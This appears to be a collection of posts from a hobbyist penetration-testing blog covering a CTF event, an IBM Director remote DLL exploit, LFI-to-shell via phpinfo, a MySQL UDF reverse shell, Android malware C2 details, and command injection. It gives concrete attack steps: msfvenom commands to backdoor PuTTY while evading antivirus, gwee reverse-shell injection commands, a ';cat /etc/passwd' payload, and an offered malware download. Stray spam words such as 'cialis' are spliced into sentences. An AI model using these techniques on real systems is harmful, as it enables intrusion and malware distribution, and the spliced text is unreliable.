So, it takes quite something to get me to be “Extremely excited” about a thing. However, when I heard about “CTF365″, I was pretty much like a small child on Christmas.
CTF365 is essentially a large scale, non stop, team based Capture The Flag event. You form teams, (and alliances of teams), and pwn the bajesus out of eachother. Points are awarded for each enemy team’s server you own, and I presume you lose points if you get owned. Essentially, it is “war”.
The reason this was so exciting to me is simple. It is an excuse to pit myself against other hackers, work with a great team of mates, and legally pop some boxes. And the CTF365 guys host the whole platform.
The scenario is the whole “Global Cyberwar” thing, with teams representing “Countries” (Each team having a server they must defend). To keep things fair, there is a minimum amount of “required” attack surface on each server, to keep everything at a sporting chance. Essentially meaning you have to cover both incident response/blue team stuff, as well as red team/offensive stuff.
For those of you who had been reading about CDCC and such in the US, but who, well, are not in the US, and want a chance to play something similar, this is probably your best chance.
I will be playing, it launches “sometime” in 2013. Hopefully soon… So why not check it out? (apologies for using my referrer, I want early access … because … pwning shit legally!) CTF 365 – Sign Up!
IBM Systems Director has a Web Service listening on 6988/TCP. This service, malady the “CIM Server”, in versions prior to 5.20.3 SP2 is vulnerable to a directory traversal vulnerability, permitting loading of local DLL files and their execution. This is assigned CVE-2009-0880.
Executing Local DLL files? Not really all that interesting. However, no rx then our good friend @kingcope decided to take a look at this bug, and suddenly, it became VERY interesting.
Because of how Windows treats files, you can not only load a LOCAL DLL file, but you can load a REMOTE DLL file, if said DLL file is made available over a WebDAV share. Essentially turning “Execute some file on the remote box” into “Remote code execution with SYSTEM privileges”.
How this exploit works, is it sends a specially crafted HTTP request to the CIM Listener service, telling it that it should totally load hackerhacker.dll because it is definately a legit DLL file to execute.
This software, being inherently silly, decides “Sure! Of course I will load this DLL file!” and loads the remote DLL file, executing whatever code is at its initialization routine (your reverse shell mayhaps?).
To make the whole party even more fun, the code is executed as SYSTEM, and no authentication whatsoever is needed to exploit this vulnerability.
The original exploit by Kingcope may be found here: http://isowarez.de/Exploits/IBMDirector.txt however he has disabled access to “wootwoot” DLL file, so I could not use his exploit code in the following demo. I ended up using the Metasploit module which was released shortly after his exploit came out.
What I find most interesting is that no one before Kingcope ever though about using a Webdav share to serve up a remotely loaded DLL. Perhaps now people will have to revise old bugs and write new, super effective exploits?
“If you want to win a race condition, you best cheat”.
The following article demonstrates a fascinating method of exploiting Local File Inclusion vulnerabilities first thought up of by the guy who runs Gynvael.Coldwind.pl . It is further documented at Insomnia Security
To start, when you are exploiting a Local File Inclusion, in order to gain remote code execution you must “write” some PHP code somewhere on disc that you can “include”. Normally this means injecting into logfiles, or the /proc/self/environ interface.
In the event you cannot locate the logfiles, or access them, most people simply give up and claim “Yep, it is unexploitable”.
This is not true.
When you upload files via HTTP POST to a webserver running PHP, during the upload it creates a tempfile for the files data, normally in /tmp. This file is “randomly named” (I do not trust the PRNG PHP uses), and is stored for the duration of the upload.
Now, it just so happens that it will create this file irrespective of whether or not you are legitimately uploading (i.e. the webapp is accepting an upload) or not, and the file is deleted when the “upload” finishes.
Because these files are randomly named, and there are no wildcards that we can use on Linux (more on this later!), you might think “So, how does this help me at all?”.
Normally, you would be right. Unless you find a flaw in the PRNG that allows you to predict the “dummy name” of the file, this is not so useful to you. What we need is an information disclosure bug that displays the PHP variables at that particular time…
… Enter PHPinfo(). The phpinfo() call, often found in /phpinfo.php or other such files (often forgotten and not removed on webservers), displays the PHP variables as they are at that point in time… Including the “Dummy Filename” that is currently in use.
So, if we are to send a file upload, containing our evil PHP code, and then include() it (via the LFI), using the path given to us by the PHPinfo page, we gain code execution on the remote server.
Yes, but not quite.
The file exists there for mere fractions of a second, so we lengthen the duration of the upload (we upload to the phpinfo file) by padding it with trash data. The insomniasec paper (linked at bottom) explains this better than I will, so I advise reading it! This is a race condition, so to further enhance our chances, we use multiple threads and multiple attempts. One of them will succeed, normally within short order (averages at 30 seconds, see the demo video!). If you have LFI and a phpinfo() page, you WILL gain code execution on the server.
The PHP code you “upload” and execute via include() effectively acts as a “Dropper”, dropping some malicious code that is stored in /tmp with a filename you have set. You then simply include() this dropped file via the LFI bug to execute code, as per normal LFI.
The InsomniaSec guys released, along with their paper, a demo script to show how it works. imax, the mantainer of Fimap (which I also develop) released a Fimap plugin that exploits this vulnerability, and that is what I am about to demonstrate. imax’s code drops a file named “eggshell” which is essentially a stripped down version of the Fimap payload.
The Fimap module is extremely reliable, giving me shells in short order. I have never had an issue with it to date, and normally on remote boxes it takes a minute or so to pop a shell.
Next week I will be releasing a demo of doing this against Windows targets without the lovely PHPinfo bug. A much “truer” race condition
So, search last weekend we got to see @kingcope release approximately a dozen new exploits, some scanners, and in general, a shitload of incredibly awesome code. Some serious headaches for systems administrators in general. Grab the exploits from
Now, over the past week in my free time (it is exam season for me, hence no updates in a while, but after next week its back to work ) I have been fooling about with these exploits. As usual, Kingcope delivered some quality stuff.
This exploit in particular is not quite “new” per se, it is a fascinating abuse of FILE privileges in MySQL. Unless I am mistaken, the SQLmap guys implemented this as well. However, I never had much luck at all with it. This, on the other hand, is an extremely reliable exploit.
How it works is rather simple. It creates a table in the target MySQL database (Spearhead), and uploads a DLL file as a binary blob into said table. It then uses “INTO DUMPFILE” to dump the payload out into the MySQL Plugin directory. The payload being a DLL file which contains code that spawns a reverse shell.
Finally, it creates a User Defined Function, “mysqljackpot”, which loads said DLL file and causes the reverse shell code to be executed under the context of the MySQL process, which is normally the SYSTEM user. It also drops the created databases to clear some evidence.
Very clever way of popping a box, however I do imagine it leaving a lot of logs behind… And I am investigating doing this via SQL injection at the moment (I can see no reason why not!).
This is a very simple writeup, site demonstrating how simple it is to use Metasploit to inject arbritary code into a Windows executable, effectively backdooring said executable.
By backdooring a legitimate executable, we can effectively hide our “evil” code amongst a pile of “good” code, and backdoor it in an undetectable manner. This means antivirus software will have a hard time finding our backdoor – or at least that is what we hope.
For now I will demonstrate using Metasploit payloads, cialis however research and looking at the msfvenom utility suggests I can use a custom payload, which I will investigate in a later article.
For this, we use the “msfvenom” utility. I personally find this the easiest way to go about this.
We shall start by choosing a binary to backdoor. I decided to use the “putty” binary due to it being used in the Offensive Security examples I learned from a long time ago.
We use the “msfvenom” utility, the “Reverse HTTPS Meterpreter” payload for Windows, and set the format (-f) to “exe” for “exe file”. We set the encoder to x86/shikata_ga_nai and tell it to encode the payload 25 times. We also specify the LHOST and LPORT for the backdoor to “Phone Home” to.
Now for the special secret ninja sauce.
The -x switch tells it what “template EXE” to use, so we specify the Putty binary we downloaded. This tells it to inject the malicious code into the Putty binary.
The -k switch is even cooler, tells it to run the malicious code in a remote thread in order to not fuck with the functionality of the Putty program we just backdoored.
So, lets test it!
First off we start msfconsole, and give it the following commands.
set payload windows/meterpreter/reverse_https
set lport 443
set lhost 192.168.1.41 (our local host, change this if needed)
Now when the victim host runs our backdoored Putty binary, they will see Putty functioning normally… However in the background… We own their box.
So, lately I have been experimenting a lot with the “Requests” module for python. It makes creating and sending HTTP GET and POST requests so incredibly easy, that I had to use it to write some incredibly simple PoC exploits.
First off, recently there was an advisory about a PHPTax remote code execution vulnerability. So, naturally, I wrote a quick and nasty PoC for it. There is a better one in the Metasploit framework, but I simply wrote this to stave off boredom one evening. This one simply throws you a reverse shell (if the moon, sun and Andromeda galaxy are correctly lined up).
First off, view I have not been writing as often as I like lately. Have a bunch of nice things half written, and no time at present to finish the damn things due to college. Anyway, online on with the show!
So I was browsing the Contagio Mobile Malware Dump and came across this: http://contagiominidump.blogspot.ie/2012/08/luckycata-android-apt-malware.html#more
I was intrigued. The “LuckyCat” APT people had come on my radar before for their elegant use of incredibly low-tech methods (old exploits, sickness very simplistic malware).
So, I decided to dissect this thing. Using Dex2Jar, Unzip and JD-GUI, I was able to quickly reduce the .apk to its source code (Java, ugh) and poke around.
Trend Micro had previously shown it seemed to have file manager functionality, remote command execution, and possibly phonebook theft features. So I decided to go look at its C&C.
I eventually found the following code in the “CMainControl.java” class:
private String strReIP = “greenfuns.3322.org”;
private String strRePort = “54321”;
Now, this lead me to think “So, it connects to that host on that port… Interesting”.
An nslookup shows this no longer seems to exist:
$ nslookup greenfuns.3322.org
3322.org is, unless I am mistaken, a dynamic DNS provider. A whois shows it to be China based, as expected.
While going over the source, I noticed a few strings with Chinese characters in them, further giving me the opinion this is another Chinese APT type threat thingy.
I did not, unfortunately, have time for anymore screwing with this, so without further ado, here is the download link to the malware and decompiled source. Password for zip files is “infected”, where needed.
This is a short paper describing how to exploit basic command injection vulnerabilities in web applications. I am covering it as part of my attempt to cover the entire OWASP Top Ten series here, and hopefully you will find this paper informative.
So, what IS Command Injection?
Command injection is basically injection of operating system commands to be executed through a web-app. I had some trouble explaining it, so I will show the OWASP definition…
The purpose of the command injection attack is to inject and execute commands specified by the attacker in the vulnerable application. In situation like this, the application, which executes unwanted system commands, is like a pseudo system shell, and the attacker may use it as any authorized system user. However, commands are executed with the same privileges and environment as the application has. Command injection attacks are possible in most cases because of lack of correct input data validation, which can be manipulated by the attacker (forms, cookies, HTTP headers etc.).
There is a variant of the Code Injection attack. The difference with code injection is that the attacker adds his own code to the existing code. In this way, the attacker extends the default functionality of the application without the necessity of executing system commands. Injected code is executed with the same privileges and environment as the application has.
An OS command injection attack occurs when an attacker attempts to execute system level commands through a vulnerable application. Applications are considered vulnerable to the OS command injection attack if they utilize user input in a system level command.
So, what does all that mean?
Essentially, comman injection attacks can occur when a web application executes system commands – say – a webapp that runs nslookup queries for you. If the input that is passed tot he shell command is not correctly sanitized, an attacker can *inject* extra shell commands and have your application run them under the priviliges of the webapp – normally the privilages of the web-server.
Put simply, it means the attacker can execute commands on your box, leading to total system compromise. Yes, this is a very serious vulnerability.
Ok, so how does all this work?
I suppose the simplest way to explain is by a simple example. Below I wills how some example code, and how exactly we would go about exploiting it.
This piece of code accepts the GET parameter “host” and runs the nslookup command on it, giving you output regarding its IP address.
The important part is to see how the $host parameter (the GET parameter) is passed directly to the system() function without any filtering or sanitization of input.
Those of you familiar with the Unix command line will know we can “stack” commands by using a semicolon, like so…
nslookup google.com;cat /etc/passwd
Hence, you should realize that if we appended the semicolon followed by an arbritary OS command to the GET parameter, we will be able to execute our commands. Demo Time!
In this demo we simply run ls, and try read a couple of files. Then I decided to cat /dev/urandom (for fun) and had to end the demo as my drive started spinning like mad.
SO that is GET injection. You also said POST variables?
Indeed. Not only GET vars are vulnerable to this kind of attack, POST variables (for example, forms) are also vulnerable to these attacks.
Mutillidae has a fine example of POST command injection, so we will use that for the next demo. Basically the same deal – just a semicolon followed by your commands.
POST injection without visible forms…
Now sometimes we cannot see the POST var being sent, due to it being in a list. Please see the code below for an example…
Ok. So we have no DIRECT access to the POST param “host” via our browser, however we *know* it is vulnerable.
We know this as it passes the input from the POST var “host” directly to the system() function and therefore is vuln to the same attack methods as the GET injection we preformed earlier…
It is situations like these that we use BURP or a similar intercepting proxy to get a better look at whats going on. Simply we intercept our own traffic and we can modify it on the fly to see what is going on in there…
So… We can execute commands… What next?
Well, obviously the ability to execute commands is great, but we can take this a bit further. Getting a reverse shell, for example, would be awesome. And as it happens, we can do this.
There exists a tool called “GWEE”, which stands for “Generic Web Exploitation Engine”, written by some guys including our favourite narc, Sabu. It was released a couple of years ago, however it is an INCREDIBLY powerful tool and is VERY useful.
Now, GWEE operates by injecting reverse-shell shellcode and running it, giving one direct shell access. It has built in listener, etc.
GWEE usage: Owning a HTTP GET Injection
Ok. So we have our GET injection from earlier and want to get ourselves a reverse shell from it… We intend to use GWEE. Let’s run over what args to use…
The Command string we will be using…
gwee -G -y ‘?host=;’ -l localhost -p 4445 -L http://localhost/inclusiondemo/cmd1.php
So, what do all those mean?
The -G flag means “GET”, so we inject via GET request.
The -y ‘?host=;’ is the injectable parameter with the semicolon appended.
-l localhost means “Listener is localhost, send shell there”
-p 4445 means “Port to phone home to is port 4445″
-L means “use built in listener so I don’t have to start a netcat” (only for if you are listening on the same amchine as you are injecting from)
And the last thing there is the vulnerable URL…
Enough talking, ITS DEMO TIME
GWEE Usage: Owning a HTTP POST Injection
Now in this part we assume we know nothing about the app we are attacking except the vuln page, so it gives me an excuse to use Burp to find the vulnerable parameter to inject.
Now as for the GWEE injection commands, mostly the same except for 2 VITAL changes…
gwee -y ‘host=;’ -l localhost -p 4445 -L http://localhost/inclusiondemo/cmd2.php
Well, obviously the vuln URL is a bit different as it IS a different page we are attacking.
There is no -G flag. GWEE uses POST injections by default!
The -y ‘host=;’ arguements look the same at first glance, except the ? is gone. Why is this you ask? Because the ? is only there in GET injections and not in POST ones. This is just how POST/GET work, and if you had not known this you do now
Those of you who have been reading this for a while, or who are familiar with my work, might remember this: Symantec Web Gateway Remote Root, a little PoC I knocked together based on an exploit Muts from Offensive Security wrote. His PoC, I felt, was a tad unuseable, so I made an attempt at reinventing it
So, naturally, Symantec patched this terrible vulnerability. And everyone breathed a sigh of relief.
Or so they thought! Muts revisited it post-patch, and simply found another way to exploit the EXACT SAME FLAW. And when he released the PoC for his “Exploit: Reloaded”, I like to think he took my advice and wrote a better ‘sploit, as his new one is very similar to my “more weaponized” PoC. A bit neater too… Is this a game of one-upmanship?